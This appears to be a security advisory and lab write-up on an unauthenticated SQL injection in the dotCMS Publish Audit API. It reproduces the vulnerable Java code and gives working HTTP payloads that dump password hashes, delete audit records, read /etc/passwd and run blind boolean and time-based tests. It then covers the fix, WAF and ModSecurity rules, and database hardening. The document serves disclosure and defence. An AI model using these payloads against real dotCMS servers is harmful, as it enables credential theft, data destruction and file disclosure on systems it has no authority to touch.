
dotCMS Pre-auth SQL Injection
CVE-2026-8054 is a high-severity pre-authentication SQL injection vulnerability (Pre-auth SQL Injection) in the dotCMS Core Publish Audit API. The vulnerability is officially tracked as Security Incident SI-75 and was formally disclosed at the end of May 2026. Since attackers can trigger it remotely without any account privileges, its potential impact is extremely severe.
| Attribute | Value |
|---|---|
| CVE ID | CVE-2026-8054 |
| Official Tracking | SI-75 |
| Vulnerability Type | SQL Injection (CWE-89) |
| Affected Component | dotCMS Core - Publish Audit API |
| CVSS Score | 10.0 (Critical) |
| Affected Versions | 25.11.04-1 to 26.04.28-02 |
| Fixed Version | 26.04.28-03 |
| Attack Vector | Remote unauthenticated SQL injection (Pre-auth) |
| Required Privileges | None |
| User Interaction | None |
| LTS Version Impact | Not affected (the audit code branch was not backported to the LTS tree) |
The vulnerability exists in two REST endpoints: /api/auditPublishing/get and /api/auditPublishing/getAll. When these endpoints receive request parameters from clients, no filtering or parameterized binding is performed; instead, SQL queries are dynamically constructed via direct string concatenation.
More critically, dotCMS completely omitted authentication and authorization checks on these sensitive audit-related backend endpoints. This means any unauthenticated remote attacker from the external network who can reach the system over the network can directly send HTTP requests containing malicious payloads to these endpoints.
File Path: dotCMS/src/main/java/com/dotcms/rest/AuditPublishingResource.java
The vulnerability exists in two REST API endpoints:
GET /api/auditPublishing/get/{bundleId} - Retrieve a single publish audit statusPOST /api/auditPublishing/getAll - Retrieve publish audit statuses in bulkKey Issue: Before the fix, these two endpoints required no authentication, and any anonymous user could access them directly.
@Path("/auditPublishing")
@Tag(name = "Publishing")
public class AuditPublishingResource {
@POST
@Path("/getAll")
@Produces(MediaType.APPLICATION_JSON)
public Response getAll(List<String> bundleIds) {
// [Vulnerability Point] No authentication check! Directly calls the backend API
try {
final List<PublishAuditStatus> statuses = auditAPI.getPublishAuditStatuses(bundleIds);
// ...
}
}
}
File Path: dotCMS/src/main/java/com/dotcms/publisher/business/PublishAuditAPIImpl.java
Method: getPublishAuditStatuses(List<String> bundleIds) (Lines 224-245)
@CloseDBIfOpened
public List<PublishAuditStatus> getPublishAuditStatuses(List<String> bundleIds)
throws DotPublisherException {
try {
final List<PublishAuditStatus> result = new ArrayList<>();
DotConnect dc = new DotConnect();
// [Vulnerability Point 1] Directly concatenates user input into the SQL statement
// Only wraps with single quotes, no parameterization or escaping
final List<String> parameter = bundleIds.stream()
.map(id -> "'" + id + "'") // Dangerous: string concatenation
.collect(Collectors.toList());
// [Vulnerability Point 2] Uses String.format to construct SQL, user input is directly embedded
dc.setSQL(String.format(SELECT_ALL_BY_BUNDLES_IDS,
String.join(",", parameter)));
List<Map<String, Object>> items = dc.loadObjectResults();
for(Map<String, Object> item: items) {
result.add(turnIntoPublishAuditStatus(NO_LIMIT_ASSETS, item));
}
return result;
} catch(Exception e) {
Logger.debug(PublisherUtil.class, e.getMessage(), e);
throw new DotPublisherException("Unable to get list of elements with error:" + e.getMessage(), e);
}
}
SQL Constant (SELECT_ALL_BY_BUNDLES_IDS):
SELECT * FROM publishing_queue_audit WHERE bundle_id IN (%s)
graph LR
subgraph External Attacker
A[Remote Attacker] -->|sends malicious payload| B[HTTP REST API]
end
subgraph Application Layer
B -->|POST /api/auditPublishing/getAll| C[AuditPublishingResource<br/>GET/POST]
C -->|calls| D[PublishAuditAPI]
D -->|calls| E[PublishAuditAPIImpl]
E -->|passes bundleIds| F[Taint handling<br/>bundleIds.stream<br/>.map id -> id]
F -->|concatenates parameters| G[SQL construction<br/>String.format]
end
subgraph Technology Layer
G -->|constructs SQL| H[Dynamic SQL query<br/>SELECT * FROM publishing_queue_audit<br/>WHERE bundle_id IN %s]
H -->|executes| I[SQL execution]
I -->|executes injected SQL| J[PostgreSQL/MySQL]
end
subgraph Vulnerability Points
K[Vulnerability Point 1<br/>No authentication check] -.->|bypasses authentication| C
L[Vulnerability Point 2<br/>No parameterized binding] -.->|only adds quotes| F
end
style A fill:#ff6b6b,stroke:#333,color:#fff
style K fill:#ff6b6b,stroke:#333,color:#fff
style L fill:#ff6b6b,stroke:#333,color:#fff
style J fill:#ffa94d,stroke:#333
Taint Propagation: User input → REST API → Backend processing → SQL construction → Database execution Critical Flaws: No authentication + No parameterization = Fully controllable SQL injection
Assume user input bundleIds = ["x' OR '1'='1"]
Normal SQL:
SELECT * FROM publishing_queue_audit WHERE bundle_id IN ('normal-id')
Injected SQL:
SELECT * FROM publishing_queue_audit WHERE bundle_id IN ('x' OR '1'='1')
Since '1'='1' is always true, this query returns all records in the table.
graph TD
subgraph Input Comparison
A[Normal input<br/>bundle-123] -->|constructs| B[Normal SQL<br/>WHERE bundle_id IN<br/>'bundle-123']
C[Malicious input<br/>x OR 1=1] -->|injects| D[Injected SQL<br/>WHERE bundle_id IN<br/>x OR 1=1]
end
subgraph Database Execution
B -->|executes| E[Database]
D -->|executes| E
end
subgraph Result Comparison
E -->|returns| F[Normal result<br/>1 record]
E -->|returns data leak| G[Leaked result<br/>All records]
end
style C fill:#ff6b6b,stroke:#333,color:#fff
style G fill:#ff6b6b,stroke:#333,color:#fff
style D fill:#ff6b6b,stroke:#333,color:#fff
note1[Injection point: single quote closes the original string<br/>OR 1=1 makes the condition always true<br/>Result: all records returned]
An attacker who successfully exploits this vulnerability can execute arbitrary SQL commands in the context of the database system user, leading to the following severe consequences:
graph TD
subgraph Attack Impact Analysis
subgraph Data Confidentiality
A[Admin password hashes]
B[User credentials]
C[Reset tokens]
D[System configuration]
end
subgraph Data Integrity
E[Website content]
F[User roles and permissions]
G[Audit logs]
end
subgraph System Availability
H[DROP TABLE]
I[DELETE data]
J[UPDATE data]
end
subgraph Privilege Escalation
K[Admin takeover]
L[Filesystem read/write]
M[Remote code execution]
end
end
N[SQL injection vulnerability] -->|leaks| A
N -->|leaks| B
N -->|leaks| C
N -->|tampers| E
N -->|tampers| F
N -->|executes| H
N -->|achieves| K
N -->|achieves| L
O[CVSS 10.0 Critical] -.->|assesses| N
style N fill:#ff6b6b,stroke:#333,color:#fff
style O fill:#ff6b6b,stroke:#333,color:#fff
Attackers can dump core database tables via SQL injection to obtain:
Example Attack Payload - Retrieve Admin Passwords:
POST /api/auditPublishing/getAll HTTP/1.1
Host: target:8080
Content-Type: application/json
["x' UNION SELECT user_id,password_hash,email,null,null FROM dotcms_user--"]
Attackers can arbitrarily modify, insert, or delete the following from the database:
Example Attack Payload - Delete Audit Records:
POST /api/auditPublishing/getAll HTTP/1.1
Host: target:8080
Content-Type: application/json
["x'; DELETE FROM publishing_queue_audit; --"]
Depending on the backend database type (PostgreSQL, MySQL, etc.) and its configured privileges, attackers may further achieve the following via the injection point:
Example Attack Payload - PostgreSQL File Read:
POST /api/auditPublishing/getAll HTTP/1.1
Host: target:8080
Content-Type: application/json
["x' UNION SELECT null,pg_read_file('/etc/passwd'),null,null,null--"]
graph TB
subgraph Docker Environment Architecture
subgraph docker-compose
A[dotcms-vuln<br/>dotcms:25.11.04-1]
B[dotcms-db<br/>postgres:15]
C[dotcms-es<br/>elasticsearch:7.17]
end
D[dotcms-net<br/>bridge network]
E[HTTP :8080]
F[HTTPS :8443]
G[PostgreSQL :5432]
H[Elasticsearch :9200]
end
A -->|exposes| E
A -->|exposes| F
B -->|exposes| G
C -->|exposes| H
A -->|connects to database| B
A -->|connects to search engine| C
D --- A
D --- B
D --- C
style A fill:#51cf66,stroke:#333
style B fill:#51cf66,stroke:#333
style C fill:#51cf66,stroke:#333
note1[Vulnerable version: 25.11.04-1<br/>Initial password: admin<br/>Ports: 8080, 8443]
Set up the vulnerable environment using Docker Compose:
docker-compose.yml:
services:
dotcms:
build: .
container_name: dotcms-vuln
ports:
- "8080:8080"
- "8443:8443"
environment:
- DOT_INITIAL_ADMIN_PASSWORD=admin
- DOT_DOTCMS_URL=http://localhost:8080
- DOT_DB_HOST=dotcms-db
- DOT_DB_PORT=5432
- DOT_DB_NAME=dotcms
- DOT_DB_USERNAME=dotcms
- DOT_DB_PASSWORD=dotcms
- DOT_DB_BASE_URL=jdbc:postgresql://dotcms-db:5432/dotcms
- DOT_DB_DRIVER=org.postgresql.Driver
- DOT_ES_ENDPOINTS=http://dotcms-es:9200
- DOT_ES_HOSTNAME=dotcms-es
depends_on:
dotcms-db:
condition: service_healthy
dotcms-es:
condition: service_started
dotcms-db:
image: postgres:15
environment:
- POSTGRES_DB=dotcms
- POSTGRES_USER=dotcms
- POSTGRES_PASSWORD=dotcms
healthcheck:
test: ["CMD-SHELL", "pg_isready -U dotcms"]
interval: 5s
timeout: 5s
retries: 20
dotcms-es:
image: elasticsearch:7.17.24
environment:
- discovery.type=single-node
- xpack.security.enabled=false
- "ES_JAVA_OPTS=-Xms512m -Xmx512m"
Dockerfile:
FROM dotcms/dotcms:25.11.04-1
Startup Commands:
docker compose up -d
# Wait for dotCMS initialization to complete (about 2-3 minutes)
# Check status: docker compose logs -f dotcms
POST /api/auditPublishing/getAll HTTP/1.1
Host: localhost:8080
Content-Type: application/json
Content-Length: 11
["test-id"]
Response: 200 OK, returns an empty array [], proving the endpoint is accessible without authentication.
Boolean-based blind injection principle: determine whether an injected condition is true or false by observing differences in HTTP response status codes.
graph TD
subgraph Boolean-Based Blind Injection Flow
A["Send request"] -->|send payload| B["/api/auditPublishing/getAll"]
B -->|true condition| C["True condition and 1=1"]
B -->|false condition| D["False condition and 1=2"]
C -->|returns data| E["404 Not Found data present NPE"]
D -->|returns no data| F["200 OK + empty array no data normal"]
E -->|analyze| G["Analyze response"]
F -->|analyze| G
G -->|infer condition truth| H["Draw conclusion"]
end
style C fill:#51cf66,stroke:#333
style D fill:#ff6b6b,stroke:#333,color:#fff
style E fill:#ff6b6b,stroke:#333,color:#fff
style F fill:#51cf66,stroke:#333
note1["Payload: real-bundle-1 and 1=1 Response: 404 NPE exception Conclusion: condition is true"]
note2["Payload: real-bundle-1 and 1=2 Response: 200 + empty array Conclusion: condition is false"]
True Condition Test (and 1=1):
POST /api/auditPublishing/getAll HTTP/1.1
Host: localhost:8080
Content-Type: application/json
["real-bundle-1') and 1=1--'"]
Response: 404 Not Found
False Condition Test (and 1=2):
POST /api/auditPublishing/getAll HTTP/1.1
Host: localhost:8080
Content-Type: application/json
["real-bundle-1') and 1=2--'"]
Response: 200 OK, returns []
SQL Execution Analysis:
-- True condition: bundle_id matches and 1=1 is true -> returns data -> code throws NPE -> 404
select * from publishing_queue_audit where bundle_id in ('real-bundle-1') and 1=1--'')
-- False condition: bundle_id matches but 1=2 is false -> returns no data -> empty result handled normally -> 200
select * from publishing_queue_audit where bundle_id in ('real-bundle-1') and 1=2--'')
Response Difference Principle:
Conclusion: By leveraging the 404/200 response difference, attackers can infer arbitrary information from the database bit by bit (table names, field values, password hashes, etc.).
Time-based blind injection principle: determine whether an injected condition is true or false by observing differences in response time.
graph TD
subgraph Time-Based Blind Injection Flow
A["Send request"] -->|send payload| B["/api/auditPublishing/getAll"]
B -->|passes| C["Delay payload SELECT pg_sleep N"]
C -->|executes SQL| D["PostgreSQL"]
D -->|calls| E["pg_sleep N delayed execution"]
E -->|delays N seconds| F["Measure response time"]
F -->|compare to baseline| G["Analyze delay difference"]
G -->|infer condition truth| H["Draw conclusion"]
end
style C fill:#51cf66,stroke:#333
style E fill:#51cf66,stroke:#333
note1["Payload: x and SELECT pg_sleep 3 text=t Normal response: 0.03s Delayed response: 3.02s Conclusion: pg_sleep executed successfully"]
3-Second Delay Test:
POST /api/auditPublishing/getAll HTTP/1.1
Host: localhost:8080
Content-Type: application/json
["x') and (SELECT pg_sleep(3))::text='t'--'"]

Response: 200 OK, took 3.02 seconds
5-Second Delay Test:
POST /api/auditPublishing/getAll HTTP/1.1
Host: localhost:8080
Content-Type: application/json
["x') and (SELECT pg_sleep(5))::text='t'--'"]
Response: 200 OK, took 5.01 seconds
SQL Execution Analysis:
select * from publishing_queue_audit where bundle_id in ('x') and (SELECT pg_sleep(3))::text='t'--'')
Response Time Comparison:
Conclusion: By controlling response delay, attackers can infer database information bit by bit even in scenarios without direct output (blind).
graph TD
subgraph Fix Plan
subgraph Code Fixes
A[Parameterized query<br/>Using placeholders]
B[Authentication enhancement<br/>Push Publish Token]
C[Input validation<br/>null/empty check]
end
subgraph Fix Effects
D[Prevents SQL injection]
E[Restricts unauthorized access]
F[Prevents null pointer exceptions]
end
G[PR #35553]
H[Fixed version<br/>26.04.28-03]
end
G -->|implements| A
G -->|implements| B
G -->|implements| C
A -->|parameter binding| D
B -->|enforces authentication| E
C -->|null handling| F
H -->|includes| G
style G fill:#51cf66,stroke:#333
style H fill:#51cf66,stroke:#333
note1[Before fix: String.format concatenation<br/>After fix: dc.addParam parameter binding]
Before the Fix (vulnerable code):
final List<String> parameter = bundleIds.stream()
.map(id -> "'" + id + "'")
.collect(Collectors.toList());
dc.setSQL(String.format(SELECT_ALL_BY_BUNDLES_IDS, String.join(",", parameter)));
After the Fix (secure code):
// Added: null check
if (bundleIds == null || bundleIds.isEmpty()) {
return Collections.emptyList();
}
// Use parameterized query placeholders
final String placeholders = bundleIds.stream()
.map(id -> "?")
.collect(Collectors.joining(","));
dc.setSQL(String.format(SELECT_ALL_BY_BUNDLES_IDS, placeholders));
bundleIds.forEach(dc::addParam); // Parameter binding, prevents SQL injection
Before the Fix:
public Response getAll(List<String> bundleIds) {
// No authentication check
try {
final List<PublishAuditStatus> statuses = auditAPI.getPublishAuditStatuses(bundleIds);
After the Fix:
public Response getAll(final List<String> bundleIds,
@Context final HttpServletRequest request) {
// Added: Push Publish Token authentication check
final AuthCredentialPushPublishUtil.PushPublishAuthenticationToken ppAuthToken =
AuthCredentialPushPublishUtil.INSTANCE.processAuthHeader(request);
final Optional<Response> failResponse = PushPublishResourceUtil.getFailResponse(request, ppAuthToken);
if (failResponse.isPresent()) {
return failResponse.get(); // Return 401 Unauthorized
}
// ...
}
| Fix Measure | Description |
|---|---|
| Parameterized queries | Uses ? placeholders instead of string concatenation; the database automatically handles parameter escaping, fundamentally preventing SQL injection |
| Authentication enhancement | Requires requests to carry a valid Push Publish Token, restricting access to only logged-in backend users with the publishing-queue component permission |
If you cannot upgrade to the fixed version immediately, the following temporary mitigation measures can be taken:
graph TD
subgraph Protection Measures
subgraph Network Layer
A[WAF rule blocking<br/>Block /api/auditPublishing/]
B[Firewall restriction<br/>Allow intranet access only]
end
subgraph Application Layer
C[Nginx protection rules<br/>location blocking]
D[ModSecurity rules<br/>SQL injection detection]
end
subgraph Data Layer
E[Database privilege restriction<br/>Least privilege principle]
F[Restrict high-risk functions<br/>pg_read_file, etc.]
end
G[Upgrade to 26.04.28-03<br/>Root solution]
end
A -.->|temporary substitute| G
B -.->|temporary substitute| G
C -.->|temporary substitute| G
E -.->|reduces impact| G
style G fill:#51cf66,stroke:#333
style A fill:#ffd43b,stroke:#333
style B fill:#ffd43b,stroke:#333
style C fill:#ffd43b,stroke:#333
style D fill:#ffd43b,stroke:#333
note1[Priority: P0 - upgrade immediately<br/>Other measures are temporary mitigations]
Configure access control policies on a Web Application Firewall (WAF) or reverse proxy to directly block or deny external network requests to the /api/auditPublishing/get and /api/auditPublishing/getAll paths.
# /etc/nginx/conf.d/dotcms-security.conf
# Block Publish Audit API requests
location ~ ^/api/auditPublishing/(get|getAll) {
# Return 403 Forbidden
return 403 "Forbidden: Endpoint blocked for security reasons";
add_header Content-Type text/plain;
}
# Or use a more permissive approach, allowing only intranet access
location ~ ^/api/auditPublishing/(get|getAll) {
# Allow intranet IP ranges
allow 10.0.0.0/8;
allow 172.16.0.0/12;
allow 192.168.0.0/16;
# Deny all other sources
deny all;
}
# WAF rules for SQL injection patterns
location / {
# Detect common SQL injection patterns
if ($request_uri ~* "(union|select|insert|update|delete|drop|--)") {
return 403;
}
# Detect single-quote injection
if ($request_uri ~* "'") {
return 403;
}
proxy_pass http://dotcms_backend;
}
# /etc/modsecurity/rules/dotcms-cve-2026-8054.conf
# Rule 1: Block access to the vulnerable endpoint
SecRule REQUEST_URI "@rx /api/auditPublishing/(get|getAll)" \
"id:2026805401,phase:1,deny,status:403,msg:'CVE-2026-8054: Blocked access to vulnerable dotCMS endpoint'"
# Rule 2: Detect SQL injection patterns
SecRule REQUEST_BODY "@rx (?i:(union|select|insert|update|delete|drop|exec|--)".*?(from|into|table))" \
"id:2026805402,phase:2,deny,status:403,msg:'CVE-2026-8054: SQL Injection attempt detected'"
Ensure the account dotCMS uses to connect to the database follows the principle of least privilege:
-- PostgreSQL privilege restriction example
-- Create restricted user
CREATE USER dotcms_restricted WITH PASSWORD 'secure_password';
-- Grant only necessary table privileges
GRANT SELECT, INSERT, UPDATE, DELETE ON ALL TABLES IN SCHEMA public TO dotcms_restricted;
-- Forbid creating/dropping tables
REVOKE CREATE ON SCHEMA public FROM dotcms_restricted;
-- Forbid executing system commands
REVOKE ALL ON FUNCTION pg_exec FROM dotcms_restricted;
-- Forbid reading files
REVOKE ALL ON FUNCTION pg_read_file FROM dotcms_restricted;
# Use iptables to restrict access to the API port
# Allow only intranet access to port 8080
iptables -A INPUT -p tcp --dport 8080 -s 10.0.0.0/8 -j ACCEPT
iptables -A INPUT -p tcp --dport 8080 -s 172.16.0.0/12 -j ACCEPT
iptables -A INPUT -p tcp --dport 8080 -s 192.168.0.0/16 -j ACCEPT
iptables -A INPUT -p tcp --dport 8080 -j DROP
graph TD
subgraph Vulnerability Summary
subgraph Root Cause Analysis
A[Lack of input validation<br/>User input directly concatenated into SQL]
B[Lack of authentication<br/>API accessible without authentication]
C[Lack of parameterization<br/>String concatenation instead of parameterized queries]
end
subgraph CVSS Assessment
D[CVSS 10.0<br/>Critical]
E[Network remote]
F[Low complexity]
G[No authentication required]
end
subgraph Remediation Recommendations
H[P0: Upgrade immediately<br/>26.04.28-03]
I[P1: WAF blocking<br/>Temporary mitigation]
J[P2: Database privileges<br/>Reduce impact]
end
end
A -->|leads to| D
B -->|leads to| D
C -->|leads to| D
H -->|resolves| A
H -->|resolves| B
H -->|resolves| C
I -.->|temporary substitute| H
J -.->|reduces risk| H
style D fill:#ff6b6b,stroke:#333,color:#fff
style H fill:#51cf66,stroke:#333
note1[Attack Vector: Network<br/>Attack Complexity: Low<br/>Privileges Required: None<br/>User Interaction: None]
The vendor states that LTS (Long-Term Support) versions are not affected, because the affected audit code branch was never backported to the LTS tree. Users on LTS versions do not need to upgrade urgently.
Report Generation Time: 2026-06-08 Analysis Tools: Docker, curl, PostgreSQL Vulnerable Version: dotCMS 25.11.04-1 Fixed Version: dotCMS 26.04.28-03 (PR #35553)
| Dimension | Assessment |
|---|
| Attack Vector | Network |
| Attack Complexity | Low |
| Prerequisites | None |
| User Interaction | None |
| Scope | Changed |
| Confidentiality Impact | High |
| Integrity Impact | High |
| Availability Impact | High |
| Condition | SQL Result | Code Behavior | HTTP Response |
|---|
and 1=1 (true) | Returns matching records | turnIntoPublishAuditStatus() throws NullPointerException when processing data | 404 |
and 1=2 (false) | Returns no records | Empty list returned normally | 200 + [] |
| Payload | Expected Delay | Actual Time | Result |
|---|
| Normal request | 0s | 0.03s | ✅ |
| pg_sleep(3) | 3s | 3.02s | ✅ Delay successful |
| pg_sleep(5) | 5s | 5.01s | ✅ Delay successful |
| Input validation |
| Adds null and empty list checks to prevent null pointer exceptions |
| Priority | Measure | Description |
|---|
| P0 - Immediate | Upgrade to dotCMS 26.04.28-03 or later | Official fixed version, resolves the issue at its root |
| P1 - Urgent | Configure WAF rules to block | Temporary mitigation to stop attack traffic |
| P2 - Important | Restrict database privileges | Reduce the impact scope after exploitation |
| P3 - Recommended | Security audit of other endpoints | Check for similar issues |